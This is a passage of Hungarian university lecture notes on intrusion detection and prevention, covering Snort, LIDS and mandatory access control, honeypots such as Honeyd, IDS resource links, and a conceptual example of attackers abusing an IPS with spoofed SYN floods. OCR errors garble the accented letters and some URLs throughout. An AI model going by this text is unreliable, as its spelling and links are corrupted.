specidlis nyelven definidlt szabalyok alapjan mintakat keres, igy probal
felismerni kiilonb6z6 tamadéasokat és gyants vizsgalodasokat (példaul
puffer talcsordulas, lopakod6 port scan, CGI tdmadasok, SMB probak,

operacios rendszer tipusanak megallapitasara tett kisérletek).

A Snort képes valos idejlii riasztasra példaul egyiittmiikodve a syslog
rendszerrel, vagy a felhasznal6 altal definialt f4jlba vagy UNIX socketbe ir.
(Még WinPopup iizeneteket is tud Windows klienseknek kiildeni az

smbclient segitségével).

A Snort tobb célra is hasznalhatd: egyszerii snifferként, mint a tcpdump,

csomag naplézasra (pl. halozati hibakeresés), vagy IDS/IPS-ként is.


http://www.snort.org/
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Olvasasra javaslom az alabbi BME-s mérési utasitidst. Remélem, hogy a

beugrd nem okozna gondot a hallgatéimnak!

http://w3.tmit.bme.hu/labor/meresek/snortmeres/snortmeres.html

9.2.2. ALIDS kernel patch

A Linux Intrusion Detection System (GPL) http://www.lids.org/ egy Linux
kernel patch, ami olyan biztonsagi elemeket hoz be a Linux kernelbe, amik

eredetileg hianyoztak beldle.

Miel6tt ezekre az elemekre ratérnénk tisztazni kell néhdny fogalmat. A
Linux (Unix) fajlrendszerének hozzaférés védelme az un Discretionary
Access Control (DAC) csaladba tartozik. Ennek az a jellemzdje, hogy a fajl
(konyvtar) tulajdonosa a sajat elhatdrozasa szerint olyan jogokat ad (sajat
magéanak, a csoporttarsainak és a tobbieknek) amilyent akar. Ezzel
szemben a Mandatory Access Control (MAC — ne keverjiik 6ssze az ugyan
igy roviditett Message Authenticaion Code-dal!) haszndlata esetén a
tulajdonos nem bénhat tetszése szerint az altala 1étrehozott eréforrasokkal.
A rendszer biztonsagi szabalyzata (security policy) teljes egészében
meghatarozza az egyes erdforrasokra adhaté jogosultsagokat, és az
er6forrds tulajdonosa nem tud az eldirtdl kevésbé megszoritd
jogosultsagokat adni. (Példaul ha olvasasi és végrehajtasi jog adasa
enged¢lyezett, akkor ezeket adhatja vagy megvonhatja de irasi jogot nem
tud adni.) A MAC téma irant érdeklédoknek ajanlott olvasmany tovabbi

hivatkozasokkal: http://en.wikipedia.org/wiki/Mandatory Access Control



http://en.wikipedia.org/wiki/Mandatory_Access_Control
http://www.lids.org/
http://w3.tmit.bme.hu/labor/meresek/snortmeres/snortmeres.html
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A LIDS altal bevezetett funkcidk tehat: kotelezd hozzaférés vezérlés

(MAC), port scan érzékelés, fajl védelem (root-tol is!), processz védelem.

9.2.3. Honeypot — az ellenség megtévesztése

Az alapotlet nagyon egyszerti. Allitsunk csapdat a tdmadonak! Tegyiink ki
elé egy gépet amire nyugodtan betorhet, kart nem okoz vele, mi viszont
lefiilelhetjiik, megismerhetjilk a modszereit. Az Otleten persze lehet egy
kicsit finomitani. Ne legyen egy valodi gép, hanem inkabb egy program,
ami ugy tinik a szdmara, mintha egy gép lenne kiilonbdzd

szolgaltatasokkal. Ezt hivjak honeypot-nak.

A Honeyd (GPL) http://www.honeyd.org/ - egy Honeypot megvaldsitis. A

honeyd egy virtualis gépet vagy inkdbb ,,algép”-et hoz 1étre, persze nem
ugy, mint pl. a VMware, mert valojaban nincs sziikségiink egy teljes
funkcionalitasti gépere, hanem csak annyi a célunk, hogy a haldzaton
keresztiil egy gépnek tlinjon. Ezt az algépet aztan be lehet konfiguralni,
hogy milyen operacids rendszert és milyen szolgaltatdsokat imitaljon.
Honeyd-bdl természetesen egyszerre tobb is futhat egy valddi gépen
amelyek mindegyike mas cimre hallgat — létrehozhatunk igy akar egy egész

szerverfarmot is.

A modszerrel persze csak a gyengébb tdmadokat tudjuk hosszabb ideig

tévedésben tartani! :-)


http://www.honeyd.org/
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Hogyan jon rd egy tdmado, hogy becsaptak? Errdl szol a kovetkezd cikk
(pl. mirdl ismeri fel, hogy UML-lel vagy WMware-rel all szemben): http://

www.securityfocus.com/infocus/1826.

9.2.4. Tovabbi forrasok IDS témaban

A teljesség igénye nélkiil felsorolasszeriien megemlitiink néhany behatolés-
¢szleld rendszert (vagy szolgaltatast) és a témaval kapcsolatos irasokat. Aki

valamelyik irant mélyebben érdeklddik, nézze meg a honlapjat!

Firestorm NIDS (GPL) — http://www.scaramanga.co.uk/firestorm/ —
Errél a halézati behatolas érzékeldrdl a készitdje az allitja, hogy

bizonyos koriilmények kozott gyorsabb a Snort-nal...

AIDE (GPL) — http://sourceforge.net/projects/aide — Az Advanced

Intrusion Detection Environment egy host alapt behatolas érzékeld,

sok Unix (szertl) platformon alkalmazhato.

Deception ToolKit — http://www.all.net/dtk/index.html — Egy masik

honeypot jellegli program, aminek a célja, hogy a tadmadot
megtévessze. Ez Onmagaban elég gyenge védelemnek tiinik.
Véleményem szerint egy rendszergazdanak nem az a dolga, hogy a

script kiddie-k jatszotarsa legyen!

DShield.org — http://www.dshield.org/ — A Distributed Intrusion

Detection System egy szolgaltatds. A lelke egy adatbazis, ahova be
lehet jelenteni a tamadasokat (pl. tlizfal naplobodl) és ennek alapjan

Osszeallitanak egy 4llandoan frissitett listdt az altaluk leginkdbb


http://www.dshield.org/
http://www.all.net/dtk/index.html
http://sourceforge.net/projects/aide
http://www.scaramanga.co.uk/firestorm/
http://www.securityfocus.com/infocus/1826
http://www.securityfocus.com/infocus/1826
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kitiltandonak vélt IP cim tartomanyokrol. Ezen kiviil érdekes
statisztikdkat kozolnek (pl. a leginkdbb tamadott portokrol). Ezen
kiviil a FightBack szolgaltatasuk keretében nagy szamu dokumentélt
sulyos tamadas esetén panaszt tesznek a notoérius crackerek
internetszolgéltatgjanal — nyilvdn van ahol sikerrel, masutt meg

nem...

Intrusion Detection FAQ — http://www.sans.org/resources/idfaq/

Ezen a weblapon rengeteg informacié taldlhatdé a behatolas

megeldzés témaban.

http://csrc.nist.gov/publications/nistpubs/800-31/sp800-31.pdf —

»intrusion Detection Systems” cimmel 51 oldalas NIST (National

Institute of Standards and Technology) publikacid.

http://www.securityfocus.com/ids — IDS témaja aloldal a
Securityfocus weblapon. (A jegyzet irasakor tele volt Honeypot
témaju cikkekkel.)

http://www.cert.hu/eszkoz/1lingyen/ids.html A Hun-CERT ingyenes

IDS ajéanlata volt itt elérhetd (linkekkel az NIDS/HIDS eszk6zok
honlapjara), most (2008. 04. 15.) csak a féoldal j6tt be ra, a jo link:

http://www.cert.hu/eszkoz/lingyen/index.php?

option=com_content&task=view&id=40&Itemid=167

http://www.securityfocus.com/infocus/1514 — Egy cikk az IDS-ek

fejlodésérdl és néhany kereskedelmi IDS-rdl.


http://www.securityfocus.com/infocus/1514
http://www.cert.hu/eszkoz/1ingyen/index.php?option=com_content&task=view&id=40&Itemid=167
http://www.cert.hu/eszkoz/1ingyen/index.php?option=com_content&task=view&id=40&Itemid=167
http://www.cert.hu/eszkoz/1ingyen/ids.html
http://www.securityfocus.com/ids
http://csrc.nist.gov/publications/nistpubs/800-31/sp800-31.pdf
http://www.sans.org/resources/idfaq/
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http://www.securitybooks.org/ — Nyolc egyiittmiikodé website egyik

elérhetdsége. Haldzatos és biztonsagi témaju (IDS is) konyveket

ajanlanak.

http://dmoz.org/Computers/Security/Intrusion Detection Systems/

Az Open Directory Project IDS témdju link gyiijteménye.

9.3. Behatolas megelozés

A behatolas megel6z0 rendszerek (Intrusion Prevention System — IPS)
alapelve nagyon egyszeri: ha az IDS felismeri a tdmadast (tdmadési
kisérletet) akkor a tovabbiakban ki kell tiltani a feltételezett tamadot,
megakaddlyozva ezzel a tdmadas befejezését vagy a karokozéast. Az IPS

tehat egy megfeleld IDS kiegészitése a valaszlépés képességével.

A gyakorlatban azért a helyzet nem ennyire egyszerli. Nézziink egy
egyszerii negativ példat! Tegyiik fel, hogy SYN flood-ot észleltiink. Ekkor
az IPS bekapcsolja a SYN cookie-t. A tamadoé pedig csak erre vart: a 3 utas
kézfogas 3. 1épésével rank kényszerit egy TCP kapcsolatot. Javitasként
dontsiink gy, hogy SYN cookie helyett inkabb a timado IP cimét kitiltjuk
egy idore. Ebben az esetben a tdmadod kezébe kivalo eszkozt adtunk a
kovetkezo DoS tamadasra: hamis IP cimmel SYN flood-ot indit elleniink,
majd az IPS-iink a tdmado legnagyobb 6romére kitiltja az adott IP cimet.
Ha a timadd megmérte (pl. a sajat IP cimét hasznalva), hogy milyen hosszu
SYN flood kell a kitiltdshoz, akkor egy kis rahagyassal dolgozva elég
gyorsan cserélgetheti az I[P cimeket, igy kelléen sok IP cimet kitiltathat,


http://dmoz.org/Computers/Security/Intrusion_Detection_Systems/
http://www.securitybooks.org/
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mire az els6t az [PS-iink leveszi a tilto listarol. Ez a példa persze csak a

feladat nem trividlis voltanak megvildgitast szolgélta.

Az automatikus behatolds-megeldz¢€s az internetes biztonsagtechnika egyik
leglatvanyosabb ¢s talan éppen ezért egyik népszeriibb iizletdga. Szép
szammal adnak el IPS rendszereket (pl. McAfee IntruShield). Az IPS
rendszerek gyakran egy komplex integralt rendszer részeként keriilnek

telepitésre. Az integralt rendszer tipikus elemei:

thzfal
virusvédelem
spam szlrés

IDS/IPS

Informatikai biztonsagtechnikai cégek marketingjében az IDS helyett egyre
inkabb az IPS szerepel. Vajon ez csak reklamfogas, vagy valoban ekkora
technoldgiai eldrelépés tortént? Egyaltalan mire képesek az IPS-ek? Mikor
érdemes alkalmazni 6ket? Van egy jo cikk ,,Network Intrusion Prevention

Systems — When They’re Valuable, and When They’re Not” cimmel:

http://www.linuxsecurity.com/content/view/119888/49/

A cikk lényege az, hogy az adott rendszert§l fligg, hogy van-e
létjogosultsaga az IPS-nek. Olyan esetben, amikor egy kellden nagy cégnél

kelléen sok Windowst futtatd gép van, és nincs meg a megfelelé emberi


http://www.linuxsecurity.com/content/view/119888/49/
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eréforras ezek rendszeres biztonsagi karbantartasara, az IPS hasznos lehet.
A Dbehatolds megeldzésének legjobb modja természetesen az, ha
biztonsagos rendszert ¢épitliink, rendszeresen figyelemmel kisérjiilk a
biztonsagi rések kozzétételét ¢és azonnal feltelepitjiik a biztonsagi

frissitéseket.

Mivel mi az utdbbi mellett tettiik le a voksunkat, ezért a jol kivalasztott,
gondosan telepitett és megfeleléen karbantartott Linux vagy mas Unix
rendszeriink védelmére nem javasoljuk IPS megvasarlasat, hanem inkabb a
rendszergazda/rendszergazdak biztonsagtechnikai ismeretei gyarapitdsanak
az 0sztOnzését, és jutalmazasat. Ezt azzal indokoljuk, hogy a tamadok
emberek. Vannak persze koztiik nagy szamban script kiddie-k, akik a jol
ismert exploitokat hasznaljak, aztan vannak kozépszerii crackerek, akik a
publikalt biztonsagi résekhez irnak exploitokat, de vannak profik is, akik
maguk keresnek biztonsagi réseket és nem publikaljak, hanem kihasznaljak
Oket. Az elsd két csoport ellen altaldban mind a jo rendszer, mind az IPS
kelld védelmet nyujt, a harmadik csoport ellen azonban véleményiink
szerint csak a kelld szakértelem és gondossag veheti fel hatékonyan a

kizdelmet.
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11. Kdszonetnyilvanitas
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Balabit Kft TCP/IP és Zorp tanfolyami anyagai

Buttyan Levente, Vajda Istvan: Kriptografia és alkalmazasai
Jonas Zsolt anyagai

Pancz¢l Zoltan anyagai
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